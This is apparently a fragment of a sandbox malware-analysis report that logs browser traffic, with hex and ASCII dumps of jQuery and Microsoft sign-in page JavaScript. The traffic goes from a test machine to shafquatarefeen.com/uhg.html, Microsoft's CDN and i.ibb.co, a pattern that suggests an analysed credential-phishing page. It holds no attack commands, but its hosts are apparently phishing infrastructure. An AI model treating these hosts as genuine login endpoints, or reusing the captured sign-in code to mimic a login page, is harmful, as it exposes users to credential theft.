==n?null===n?void S.removeA

2022-07-01 09:00:50 UTC 1218 IN Data Raw: 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 
3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 
65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 7
3 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 
65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 3d 22 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 29 2c 65 29 72 2e 73 
65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 6e 2c 65 5b 6e 5d 29 3b 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 
65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 26 26 28 6f 3d 61 
Data Ascii:  in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.
mimeType),i.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(
n,e[n]);o=function(e){return function(){o&&(o=a

2022-07-01 09:00:50 UTC 1234 IN Data Raw: 74 65 6e 
Data Ascii: ten

2022-07-01 09:00:50 UTC 1234 IN Data Raw: 64 28 7b 62 69 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 75 28 22 6a 51 
75 65 72 79 2e 66 6e 2e 62 69 6e 64 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 74 68 69 73 2e 6f 6e 28 
65 2c 6e 75 6c 6c 2c 74 2c 72 29 7d 2c 75 6e 62 69 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 
6e 20 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 75 6e 62 69 6e 64 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 
2c 74 68 69 73 2e 6f 66 66 28 65 2c 6e 75 6c 6c 2c 74 29 7d 2c 64 65 6c 65 67 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 
2c 74 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 64 65 6c 65 67 61 74 65 28 29 20 
69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 74 68 69 73 2e 6f 6e 
Data Ascii: d({bind:function(e,t,r){return u("jQuery.fn.bind() is deprecated"),this.on(e,null,t,r)},unbind:function(e,t){return u(
"jQuery.fn.unbind() is deprecated"),this.off(e,null,t)},delegate:function(e,t,r,n){return u("jQuery.fn.delegate() is dep
recated"),this.on

2022-07-01 09:00:50 UTC 1250 IN Data Raw: 28 61 2d 31 29 29 2b 62 3b 72 65 74 75 72 6e 20 63 2f 32 2a 28 2d 4d 61 74 68 2e 70 6f 77 28 32 2c 2d 31 30 
2a 2d 2d 61 29 2b 32 29 2b 62 7d 2c 65 61 73 65 49 6e 43 69 72 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 62 2c 63 
2c 64 29 7b 72 65 74 75 72 6e 20 2d 63 2a 28 4d 61 74 68 2e 73 71 72 74 28 31 2d 28 61 2f 3d 64 29 2a 61 29 2d 31 29 
2b 62 7d 2c 65 61 73 65 4f 75 74 43 69 72 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 62 2c 63 2c 64 29 7b 72 65 74 7
5 72 6e 20 63 2a 4d 61 74 68 2e 73 71 72 74 28 31 2d 28 61 3d 61 2f 64 2d 31 29 2a 61 29 2b 62 7d 2c 65 61 73 65 49 
6e 4f 75 74 43 69 72 63 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 61 2c 62 2c 63 2c 64 29 7b 69 66 28 28 61 2f 3d 64 2f 32 29 
3c 31 29 72 65 74 75 72 6e 20 2d 63 2f 32 2a 28 4d 61 74 68 2e 73 71 
Data Ascii: (a-1))+b;return c/2*(-Math.pow(2,-10*--a)+2)+b},easeInCirc:function(e,a,b,c,d){return -c*(Math.sqrt(1-(a/=d)*a)-
1)+b},easeOutCirc:function(e,a,b,c,d){return c*Math.sqrt(1-(a=a/d-1)*a)+b},easeInOutCirc:function(e,a,b,c,d){if((a/=d/2)
<1)return -c/2*(Math.sq

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

72 192.154.231.67 443 192.168.2.5 49782 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 1089 IN HTTP/1.1 302 Found
Date: Fri, 01 Jul 2022 09:00:50 GMT
Server: Apache
Link: <https://shafquatarefeen.com/wp-json/>; rel="https://api.w.org/"
X-Redirect-By: WordPress
Upgrade: h2,h2c
Connection: Upgrade, close
Location: https://shafquatarefeen.com/wp-includes/images/w-logo-blue-white-bg.png
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Session ID Source IP Source Port Destination IP
Destination
Port

Process

73 152.199.23.37 443 192.168.2.5 49809 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:50 UTC 1090 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Age: 6139388
Cache-Control: public, max-age=31536000
Content-MD5: upI7aPOzsdXSeL+Vv8o5ww==
Content-Type: application/x-javascript
Date: Fri, 01 Jul 2022 09:00:50 GMT
Etag: 0x8DA2286D5C4F576
Last-Modified: Wed, 20 Apr 2022 04:32:53 GMT
Server: ECAcc (frc/8FE1)
Vary: Accept-Encoding
X-Cache: HIT
x-ms-blob-type: BlockBlob
x-ms-lease-status: unlocked
x-ms-request-id: e31850ca-601e-0097-8052-558124000000
x-ms-version: 2009-09-19
Content-Length: 182667
Connection: close

2022-07-01 09:00:50 UTC 1090 IN Data Raw: 2f 2a 21 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 
45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 
2d 2d 2d 2d 0a 0a 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 
74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 
65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 
72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 6e 64 20 74 68 65 20 6c 69 
Data Ascii: /*! ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------This file i
based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the li

2022-07-01 09:00:50 UTC 1106 IN Data Raw: 73 2e 43 61 6e 63 65 6c 54 69 6c 65 52 65 64 69 72 65 63 74 28 29 3b 62 72 65 61 6b 0a 3b 63 61 73 65 20 
43 6f 6e 73 74 61 6e 74 73 2e 43 61 6e 63 65 6c 41 63 74 69 6f 6e 2e 46 52 4f 4d 5f 4d 41 4e 59 5f 54 4f 5f 45 4d 41 49 
4c 44 49 53 43 4f 56 45 52 59 5f 49 4e 49 54 3a 45 6d 61 69 6c 44 69 73 63 6f 76 65 72 79 2e 49 6e 69 74 28 29 3b 62 
72 65 61 6b 3b 63 61 73 65 20 43 6f 6e 73 74 61 6e 74 73 2e 43 61 6e 63 65 6c 41 63 74 69 6f 6e 2e 46 52 4f 4d 5f 45 4d 
41 49 4c 44 49 53 43 4f 56 45 52 59 5f 53 54 41 52 54 5f 54 4f 5f 54 49 4c 45 53 3a 45 6d 61 69 6c 44 69 73 63 6f 76 65 
72 79 2e 42 61 63 6b 54 6f 55 73 65 72 54 69 6c 65 73 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 43 6f 6e 73 74 61 6e 7
4 73 2e 43 61 6e 63 65 6c 41 63 74 69 6f 6e 2e 46 52 4f 4d 5f 45 
Data Ascii: s.CancelTileRedirect();break;case Constants.CancelAction.FROM_MANY_TO_EMAILDISCOVERY_INI
T:EmailDiscovery.Init();break;case Constants.CancelAction.FROM_EMAILDISCOVERY_START_TO_TILES:EmailDi
scovery.BackToUserTiles();break;case Constants.CancelAction.FROM_E

2022-07-01 09:00:50 UTC 1170 IN Data Raw: 72 6f 75 6e 64 5f 69 6d 61 67 65 22 29 2e 65 72 72 6f 72 28 66 75 6e 63 74 69 6f 6e 28 29 7b 24 28 74 68 69 
73 29 2e 68 69 64 65 28 29 7d 29 2c 21 42 61 63 6b 67 72 6f 75 6e 64 2e 62 61 63 6b 67 72 6f 75 6e 64 5f 69 6d 61 67 
65 5f 6c 6f 61 64 65 64 7c 7c 30 3d 3d 42 61 63 6b 67 72 6f 75 6e 64 2e 62 61 63 6b 67 72 6f 75 6e 64 5f 69 6d 61 67 65 
5f 72 61 74 69 6f 29 7b 0a 72 65 74 75 72 6e 20 76 6f 69 64 20 55 74 69 6c 2e 64 65 62 75 67 5f 63 6f 6e 73 6f 6c 65 28 
22 42 61 63 6b 67 72 6f 75 6e 64 20 69 6d 61 67 65 20 6e 6f 74 20 79 65 74 20 6c 6f 61 64 65 64 2e 22 29 7d 76 61 72 20 
6f 3d 24 28 64 6f 63 75 6d 65 6e 74 29 2e 77 69 64 74 68 28 29 2d 34 30 30 2c 61 3d 24 28 64 6f 63 75 6d 65 6e 74 29 
2e 68 65 69 67 68 74 28 29 2c 69 3d 6f 2c 72 3d 4d 61 74 68 2e 
Data Ascii: round_image").error(function(){$(this).hide()}),!Background.background_image_loaded||0==Background
.background_image_ratio){return void Util.debug_console("Background image not yet loaded.")}var o=$(document).
width()-400,a=$(document).height(),i=o,r=Math.

2022-07-01 09:00:50 UTC 1186 IN Data Raw: 74 65 78 
Data Ascii: tex

2022-07-01 09:00:50 UTC 1186 IN Data Raw: 74 2e 54 65 6e 61 6e 74 42 72 61 6e 64 69 6e 67 2e 75 73 65 72 3d 65 2e 4c 6f 67 69 6e 2c 43 6f 6e 74 65 78 
74 2e 75 73 65 72 6e 61 6d 65 5f 73 74 61 74 65 2e 68 6f 6d 65 5f 72 65 61 6c 6d 5f 73 74 61 74 65 3d 43 6f 6e 73 74 61 
6e 74 73 2e 53 74 61 74 65 2e 4d 41 4e 41 47 45 44 2c 74 65 6e 61 6e 74 5f 69 6e 66 6f 2e 63 6f 6d 70 61 6e 79 5f 6e 61 
6d 65 3d 65 2e 46 65 64 65 72 61 74 69 6f 6e 42 72 61 6e 64 4e 61 6d 65 2c 74 65 6e 61 6e 74 5f 69 6e 66 6f 2e 64 6f 6d 
61 69 6e 3d 65 2e 44 6f 6d 61 69 6e 4e 61 6d 65 2c 74 65 6e 61 6e 74 5f 69 6e 66 6f 2e 42 61 63 6b 67 72 6f 75 6e 64 43 
6f 6c 6f 72 3d 24 28 22 23 62 61 63 6b 67 72 6f 75 6e 64 5f 62 72 61 6e 64 69 6e 67 5f 63 6f 6e 74 61 69 6e 65 72 22 29 
2e 63 73 73 28 22 62 61 63 6b 67 72 6f 75 6e 64 22 29 2c 
Data Ascii: t.TenantBranding.user=e.Login,Context.username_state.home_realm_state=Constants.State.MANAGED,tena
nt_info.company_name=e.FederationBrandName,tenant_info.domain=e.DomainName,tenant_info.BackgroundCol
or=$("#background_branding_container").css("background"),

2022-07-01 09:00:50 UTC 1202 IN Data Raw: 2e 53 75 70 70 6f 72 74 2e 4c 65 67 61 6c 41 63 74 69 6f 6e 4c 69 6e 6b 28 65 2c 22 70 72 69 76 61 63 79 22 
29 7d 29 2c 24 28 22 23 6c 65 67 61 6c 2d 62 61 63 6b 2d 62 74 6e 22 29 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 
28 29 7b 24 28 22 23 6c 65 67 61 6c 2d 73 65 63 74 69 6f 6e 22 29 2e 68 69 64 65 28 29 2c 24 28 22 2e 6c 6f 67 69 6e 5f 
70 61 6e 65 6c 5f 6c 61 79 6f 75 74 22 29 2e 73 68 6f 77 28 29 7d 29 29 2c 43 6f 6e 73 74 61 6e 74 73 2e 49 53 5f 43 58 
48 5f 52 45 51 55 45 53 54 26 26 28 24 2e 61 6a 61 78 28 7b 22 75 72 6c 22 3a 43 6f 6e 73 74 61 6e 74 73 2e 66 6f 6f 74 
65 72 50 72 69 76 61 63 79 55 72 6c 2c 22 64 61 74 61 22 3a 7b 22 49 73 41 6a 61 78 22 3a 21 30 7d 2c 22 73 75 63 63 
65 73 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 24 28 22 23 
Data Ascii: .Support.LegalActionLink(e,"privacy")}),$("#legal-back-btn").click(function(){$("#legal-section").hide(),$("
.login_panel_layout").show()})),Constants.IS_CXH_REQUEST&&($.ajax({"url":Constants.footerPrivacyUrl,"data":{"I
sAjax":!0},"success":function(e){$("#

2022-07-01 09:00:50 UTC 1255 IN Data Raw: 74 65 73 2e 4d 53 41 29 7b 43 6f 6e 74 65 78 74 2e 65 6d 61 69 6c 5f 64 69 73 63 6f 76 65 72 79 5f 77 6f 72 
6b 66 6c 6f 77 5f 73 74 61 74 65 3d 6e 2e 57 6f 72 6b 66 6c 6f 77 53 74 61 74 65 73 2e 4d 53 41 3b 76 61 72 20 65 3d 7b 
22 44 6f 6d 61 69 6e 4e 61 6d 65 22 3a 43 6f 6e 73 74 61 6e 74 73 2e 4d 53 41 5f 44 4f 4d 41 49 4e 2c 22 41 75 74 68 55 
52 4c 22 3a 43 6f 6e 73 74 61 6e 74 73 2e 4d 53 41 5f 41 55 54 48 5f 55 52 4c 7d 0a 3b 6e 2e 48 69 64 65 53 70 6c 69 74 
74 65 72 28 29 2c 6e 2e 49 6e 69 74 52 65 64 69 72 65 63 74 28 29 2c 55 73 65 72 2e 52 65 63 65 69 76 65 46 65 64 65 
72 61 74 65 64 44 6f 6d 61 69 6e 28 65 29 7d 7d 2c 22 4c 6f 67 69 6e 41 41 44 41 63 63 6f 75 6e 74 22 3a 66 75 6e 63 74 
69 6f 6e 28 29 7b 43 6f 6e 74 65 78 74 2e 65 6d 61 69 6c 5f 
Data Ascii: tes.MSA){Context.email_discovery_workflow_state=n.WorkflowStates.MSA;var e={"DomainName":Constants
.MSA_DOMAIN,"AuthURL":Constants.MSA_AUTH_URL};n.HideSplitter(),n.InitRedirect(),User.ReceiveFederate
dDomain(e)}},"LoginAADAccount":function(){Context.email_
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2022-07-01 09:00:50 UTC 1271 IN Data Raw: 28 22 3c 64 69 76 2f 3e 22 29 2e 68 74 6d 6c 28 74 2e 6e 61 6d 65 29 2e 74 65 78 74 28 29 3b 24 28 65 29 2e 
61 70 70 65 6e 64 28 24 28 22 3c 64 69 76 2f 3e 22 29 2e 61 74 74 72 28 22 69 64 22 2c 22 73 69 74 65 5f 73 61 6d 6c 
22 29 2e 74 65 78 74 28 6e 2b 22 20 28 22 2b 74 2e 64 6f 6d 61 69 6e 2b 22 29 22 29 29 7d 7d 7d 3b 4d 53 4c 6f 67 6f 
75 74 2e 54 68 69 72 64 50 61 72 74 79 43 6f 6f 6b 69 65 53 74 61 74 65 73 3d 7b 22 4e 4f 54 5f 4c 4f 41 44 45 44 22 3a 
2d 31 2c 22 44 49 53 41 42 4c 45 44 22 3a 30 2c 22 45 4e 41 42 4c 45 44 22 3a 31 7d 3b 76 61 72 20 54 68 69 72 64 50 
61 72 74 79 43 6f 6f 6b 69 65 53 74 61 74 65 73 3d 4d 53 4c 6f 67 6f 75 74 2e 54 68 69 72 64 50 61 72 74 79 43 6f 6f 6b 
69 65 53 74 61 74 65 73 2c 50 6f 73 74 54 79 70 65 3d 7b 22 49 4e 
Data Ascii: ("<div/>").html(t.name).text();$(e).append($("<div/>").attr("id","site_saml").text(n+" ("+t.domain+")"))}}};
MSLogout.ThirdPartyCookieStates={"NOT_LOADED":-1,"DISABLED":0,"ENABLED":1};var ThirdPartyCookieState
s=MSLogout.ThirdPartyCookieStates,PostType={"IN

2022-07-01 09:00:50 UTC 1287 IN Data Raw: 72 54 65 6d 70 6c 61 74 65 57 69 74 68 45 72 72 6f 72 43 6f 64 65 2e 66 6f 72 6d 61 74 28 30 7c 65 2e 45 72 
72 43 6f 64 65 2c 65 2e 53 65 73 73 69 6f 6e 49 64 3f 55 74 69 6c 2e 68 74 6d 6c 45 6e 63 6f 64 65 28 65 2e 53 65 73 73 
69 6f 6e 49 64 29 3a 22 22 2c 65 2e 43 6f 72 72 65 6c 61 74 69 6f 6e 49 64 3f 55 74 69 6c 2e 68 74 6d 6c 45 6e 63 6f 64 
65 28 65 2e 43 6f 72 72 65 6c 61 74 69 6f 6e 49 64 29 3a 22 22 2c 28 6e 65 77 20 44 61 74 65 29 2e 74 6f 49 53 4f 53 74 
72 69 6e 67 28 29 29 3b 24 28 22 23 74 66 61 5f 65 72 72 6f 72 5f 74 65 78 74 22 29 2e 68 74 6d 6c 28 74 29 2e 73 68 6f 
77 28 29 2c 45 28 29 7d 66 75 6e 63 74 69 6f 6e 20 45 28 29 7b 76 61 72 20 65 3d 24 28 22 23 74 66 61 5f 6f 75 74 65 
72 5f 6c 69 73 74 5f 63 6f 6e 74 61 69 6e 65 72 22 29 2e 68 
Data Ascii: rTemplateWithErrorCode.format(0|e.ErrCode,e.SessionId?Util.htmlEncode(e.SessionId):"",e.CorrelationId?
Util.htmlEncode(e.CorrelationId):"",(new Date).toISOString());$("#tfa_error_text").html(t).show(),E()}function E(){var e=$("#t
fa_outer_list_container").h

2022-07-01 09:00:50 UTC 1303 IN Data Raw: 6e 66 6f 5f 63 6f 6e 74 65 78 74 2c 74 3d 43 6f 6e 73 74 61 6e 74 73 2e 49 53 5f 43 58 48 5f 52 45 51 55 45 53 
54 3f 43 6f 6e 73 74 61 6e 74 73 2e 55 53 45 5f 44 41 52 4b 5f 54 49 4c 45 5f 4c 4f 47 4f 3f 65 2e 54 69 6c 65 44 61 72 6b 
4c 6f 67 6f 7c 7c 65 2e 54 69 6c 65 4c 6f 67 6f 3a 65 2e 54 69 6c 65 4c 6f 67 6f 3a 65 2e 42 61 6e 6e 65 72 4c 6f 67 6f 0a 
3b 76 6f 69 64 20 30 21 3d 74 26 26 22 22 21 3d 74 26 26 28 74 2b 3d 22 3f 74 73 3d 22 2b 43 6f 6e 74 65 78 74 2e 74 
65 6e 61 6e 74 5f 62 72 61 6e 64 69 6e 67 5f 74 73 29 2c 55 73 65 72 2e 55 70 64 61 74 65 4c 6f 67 6f 28 74 2c 43 6f 6e 
73 74 61 6e 74 73 2e 44 45 46 41 55 4c 54 5f 4c 4f 47 4f 5f 41 4c 54 29 2c 24 28 22 23 6c 6f 67 69 6e 5f 77 6f 72 6b 6c 6f 
61 64 5f 6c 6f 67 6f 5f 74 65 78 74 22 29 2e 68 
Data Ascii: nfo_context,t=Constants.IS_CXH_REQUEST?Constants.USE_DARK_TILE_LOGO?e.TileDarkLogo||e.Ti
leLogo:e.TileLogo:e.BannerLogo;void 0!=t&&""!=t&&(t+="?ts="+Context.tenant_branding_ts),User.UpdateLogo(t,Cons
tants.DEFAULT_LOGO_ALT),$("#login_workload_logo_text").h

2022-07-01 09:00:50 UTC 1319 IN Data Raw: 52 65 64 69 72 65 63 74 22 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 24 28 22 23 63 72 65 64 5f 70 61 73 73 77 6f 
72 64 5f 69 6e 70 75 74 74 65 78 74 22 29 2e 76 61 6c 28 22 22 29 2c 43 6f 6e 74 65 78 74 2e 75 73 65 72 6e 61 6d 65 
5f 73 74 61 74 65 2e 6c 61 73 74 5f 63 68 65 63 6b 65 64 5f 65 6d 61 69 6c 3d 22 22 2c 0a 54 69 6c 65 73 2e 65 6e 61 62 
6c 65 41 63 74 69 76 65 54 69 6c 65 28 29 2c 24 28 22 23 63 72 65 64 5f 70 61 73 73 77 6f 72 64 5f 69 6e 70 75 74 74 65 
78 74 22 29 2e 76 61 6c 28 22 22 29 2c 24 28 22 23 63 74 61 5f 65 72 72 6f 72 5f 6d 65 73 73 61 67 65 5f 74 65 78 74 22 
29 2e 72 65 6d 6f 76 65 28 29 2c 24 28 22 2e 6c 6f 67 69 6e 5f 63 72 65 64 5f 66 69 65 6c 64 5f 63 6f 6e 74 61 69 6e 65 
72 22 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 73 68 6f 
Data Ascii: Redirect":function(){$("#cred_password_inputtext").val(""),Context.username_state.last_checked_email="",Tile
s.enableActiveTile(),$("#cred_password_inputtext").val(""),$("#cta_error_message_text").remove(),$(".login_cred_field_co
ntainer").removeClass("sho

2022-07-01 09:00:50 UTC 1335 IN Data Raw: 65 78 4f 66 28 22 74 65 73 74 63 6f 6f 6b 69 65 3d 74 65 73 74 63 6f 6f 6b 69 65 22 29 7d 7d 2c 22 75 70 64 
61 74 65 52 65 64 69 72 65 63 74 69 6f 6e 4d 65 73 73 61 67 65 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 
72 20 6e 0a 3b 74 3f 28 6e 3d 43 6f 6e 73 74 61 6e 74 73 2e 52 45 44 49 52 45 43 54 5f 4d 45 53 53 41 47 45 53 2e 43 
4c 4f 55 44 46 45 44 45 52 41 54 45 44 2c 24 28 22 23 61 6c 74 65 72 6e 61 74 69 76 65 2d 69 64 65 6e 74 69 74 79 2d 
70 72 6f 76 69 64 65 72 73 22 29 2e 68 69 64 65 28 29 29 3a 55 74 69 6c 2e 69 73 4d 53 41 28 65 29 3f 6e 3d 43 6f 6e 
73 74 61 6e 74 73 2e 52 45 44 49 52 45 43 54 5f 4d 45 53 53 41 47 45 53 2e 4d 53 41 3a 28 6e 3d 43 6f 6e 73 74 61 6e 
74 73 2e 52 45 44 49 52 45 43 54 5f 4d 45 53 53 41 47 45 53 2e 41 41 44 
Data Ascii: exOf("testcookie=testcookie")}},"updateRedirectionMessage":function(e,t){var n;t?(n=Constants.REDI
RECT_MESSAGES.CLOUDFEDERATED,$("#alternative-identity-providers").hide()):Util.isMSA(e)?n=Constants.
REDIRECT_MESSAGES.MSA:(n=Constants.REDIRECT_MESSAGES.AAD

2022-07-01 09:00:50 UTC 1351 IN Data Raw: 72 6f 77 73 65 72 2e 53 61 66 61 72 69 26 26 28 61 28 22 44 65 74 65 63 74 65 64 20 42 72 6f 77 73 65 72 3a 
20 53 61 66 61 72 69 22 29 2c 21 30 29 7d 66 75 6e 63 74 69 6f 6e 20 45 28 29 7b 0a 61 28 22 41 74 74 65 6d 70 74 69 
6e 67 20 74 6f 20 70 65 72 66 6f 72 6d 20 49 6e 74 65 67 72 61 74 65 64 20 57 69 6e 64 6f 77 73 20 41 75 74 68 65 6e 
74 69 63 61 74 69 6f 6e 2e 2e 2e 22 29 2c 6e 28 65 29 2e 6f 6e 28 22 6d 65 73 73 61 67 65 22 2c 6c 29 3b 76 61 72 20 7
4 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 3b 74 2e 69 64 
3d 22 64 73 73 6f 5f 69 66 72 61 6d 65 22 2c 74 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 74 2e 
73 72 63 3d 4c 7c 7c 72 28 52 2c 22 69 66 72 61 6d 65 3d 31 22 29 2c 
Data Ascii: rowser.Safari&&(a("Detected Browser: Safari"),!0)}function E(){a("Attempting to perform Integrated Windows A
uthentication..."),n(e).on("message",l);var t=document.createElement("iframe");t.id="dsso_iframe",t.style.display="none"
,t.src=L||r(R,"iframe=1"),

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

74 192.168.2.5 49810 192.154.231.67 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:51 UTC 1354 OUT GET /wp-includes/images/w-logo-blue-white-bg.png HTTP/1.1
Host: shafquatarefeen.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: https://shafquatarefeen.com/uhg.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

75 192.154.231.67 443 192.168.2.5 49810 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:52 UTC 1354 IN HTTP/1.1 200 OK
Date: Fri, 01 Jul 2022 09:00:52 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade, close
Last-Modified: Thu, 21 May 2020 18:40:12 GMT
Accept-Ranges: bytes
Content-Length: 4119
Content-Type: image/png

2022-07-01 09:00:52 UTC 1354 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 50 00 00 00 50 08 06 00 00 00 8e 11 f2 ad 00 00 0f 
de 49 44 41 54 78 da e5 5d 09 78 55 c5 15 0e 5b c1 c8 56 10 d1 2a 29 9b 4b 6b ad c5 da 56 ad 6b b5 1b 4a 5d 6a 4b 45 
6c 3f f5 ab b5 74 b7 04 12 21 09 7b 14 2c a0 a2 11 45 83 d9 13 b2 90 90 1d 92 40 c0 b0 84 b0 46 90 25 04 08 81 10 12 
42 16 12 b2 4e e7 bf 79 93 cc 9d 77 97 b9 f7 bd 87 49 7b be 6f be f0 de 9b 3b cb b9 73 e6 9c f3 9f 33 83 97 d7 57 48 d7 
cf 8b 1b ff ad a5 c9 2f d3 b2 7a 42 70 d2 96 6f 2c 58 57 f2 f5 80 98 9a 81 b3 23 5a bd 66 86 11 be 7c 6d 76 44 f3 d0 39 d1 
17 46 06 c6 1c a2 cf a5 8d 08 8c 79 ab 9f 6f f8 b3 f4 b7 31 5e ff 37 34 33 6c d8 d8 c5 09 af de f9 76 ca e7 23 03 63 1b 45 
26 f1 65 d8 dc 68 55 31 aa 7b 8d 7f e4 05 ca e0 08 fa ef 
Data Ascii: PNGIHDRPPIDATx]xU[V*)KkVkJ]jKEl?t!{,E@F%BNywI{o;s3WH/zBpo,XW#Zf|mvD9Fyo1^743lv#cE&ehU1{

Session ID Source IP Source Port Destination IP
Destination
Port

Process

76 192.168.2.5 49826 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:58 UTC 1358 OUT GET /ests/2.1/content/images/ellipsis_white_5ac590ee72bfe06a7cecfd75b588ad73.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: aadcdn.msftauth.net

Session ID Source IP Source Port Destination IP
Destination
Port

Process

77 192.168.2.5 49822 51.210.32.132 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:58 UTC 1359 OUT GET /phX2vBj/0-a5dbd4393ff6a725c7e62b61df7e72f0.jpg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: i.ibb.co

Session ID Source IP Source Port Destination IP
Destination
Port

Process

78 192.168.2.5 49824 152.199.23.37 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:58 UTC 1359 OUT GET /ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: aadcdn.msftauth.net

Session ID Source IP Source Port Destination IP
Destination
Port

Process

79 152.199.23.37 443 192.168.2.5 49826 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:58 UTC 1359 IN HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding
Age: 338615
Cache-Control: public, max-age=604800
